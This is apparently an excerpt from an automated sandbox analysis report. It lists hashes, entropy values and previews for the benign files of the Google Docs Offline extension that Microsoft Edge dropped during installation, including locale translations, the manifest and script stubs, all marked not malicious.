MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
